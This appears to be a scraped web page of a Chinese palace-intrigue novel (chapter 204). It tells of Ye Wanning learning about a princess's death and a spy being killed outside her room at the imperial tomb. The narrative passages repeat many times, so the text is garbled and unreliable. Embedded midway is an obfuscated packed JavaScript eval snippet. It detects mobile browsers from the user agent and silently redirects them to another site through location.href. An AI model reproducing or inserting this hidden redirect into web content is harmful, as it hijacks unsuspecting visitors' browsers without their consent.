这段日子,她开始接纳谢泊淮,可这么大的事,谢泊淮竟然瞒着她? 叶婉宁的心重重地往下坠。 “是殿下不让他说的。”江嬷嬷替谢泊淮解释,“既然您都知道了,我也不瞒您了。殿下知道自个的死是意外,但她不想您牵扯进是非里,所以让谢大人不要去查这个事。她说她这辈子没遗憾了,本就拖着病体,死了也是解脱。至于报仇这种事,她并不想您去做,毕竟……” 江嬷嬷顿住叹气,她没想到瞒了那么久的事,还是被叶婉宁知道。 “嬷嬷不说,是觉得这个事牵扯到几位王爷,但是如今那几个王爷死的死,去封地的也不可能再回来,您还有啥怕的,总不能是圣……” 没等叶婉宁说完,江嬷嬷捂住她的嘴,“那会儿的圣上,最是低调,他和殿下从没有冲突,更没必要谋害殿下。您别瞎猜,连殿下都没头绪,更别说是老奴了。现在他们都有了报应,不管是谁,这件事也可以到此为止。姑娘啊,您如今过好自己的日子,就是对殿下最好的报答,答应老奴,别管这个事了。” “嬷嬷,我怎么能 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170552|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 做得到?”叶婉宁要是真可以坐视不管,那她可以装作不知道这个事。 但不知道真相,她这辈子午夜梦回,都不能安心。 江嬷嬷看着叶婉宁叹气,“您要想清楚,开工没有回头箭。如果查到的人已经死了,那这个事就不是事,但查到别的人和事,您恐怕就难了。” “嬷嬷,义母说,人活一世,为的就是痛快两个字。如果我一生都在困扰这个问题,就算安定下来,也难快活。”叶婉宁深吸一口气,告知江嬷嬷,是谢令娴和她说的。 “成王妃?”江嬷嬷眉头紧皱,“也对,这个事或许就和成王有关,她会知道并不奇怪。”但她转念想到,成王已死,如果是成王做的,那成王妃要挟不到叶婉宁,也就失去见叶婉宁的意义。还能让成王妃如此大费周章的人,莫不是…… 江嬷嬷不敢深想,“这个事,您别轻举妄动。成王妃身边,一定有诸多的眼线。指不定你们今日见面,宫里已经知道了。您去找谢大人,让他去查,以谢大人的本事,总能查到的。” 她希望别太复杂,尽管她想替主子报仇,可主子的心愿并不是这个。 江嬷嬷活到这个年纪,已经看得很开,活着的人最重要。 见叶婉宁愣着,江嬷嬷强调道,“您切记,这个事别自个儿去查,万一是有心人想利用谢令娴来对付谢大人,那就麻烦了。” 听江嬷嬷这么一说,叶婉宁才猛地回神。 是啊。 现在的谢泊淮,是万人之上的摄政王,不少人想谢泊淮死。 “我知道了嬷嬷,我会记住。”只是谢泊淮瞒着她的事,下次见了谢泊淮,她是要和谢泊淮算账的。 天色已晚,只能在皇陵住一晚,叶婉宁辗转反侧,并没有睡意。 云芝躺在一旁,听到主子翻身,轻声叹气,“隆玉公主是个很好的人,但皇家的事太复杂了。夫人,我还是怀念我们以前的日子。”但是没办法,不可能回去了。 “云芝,不然我送你走吧,找个你喜欢的地方,平平安安地过一辈子。嫁人生子也好,一个人过也好,我都会替你安顿好的。”叶婉宁心累了。 “夫人我不走,您在哪里,我就陪着您。我哪里都不……” “别说话!” 没等云芝说完,叶婉宁察觉到不对,门口似乎闪过一道影子。 屋内漆黑一片,除了木窗落下的朦胧月色,其他地方什么都看不到。 叶婉宁拉着云芝走下床,连鞋都没穿,见窗纸被人捅破,她呼吸渐渐急促,掌心出了一层汗珠。 第204章 等 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 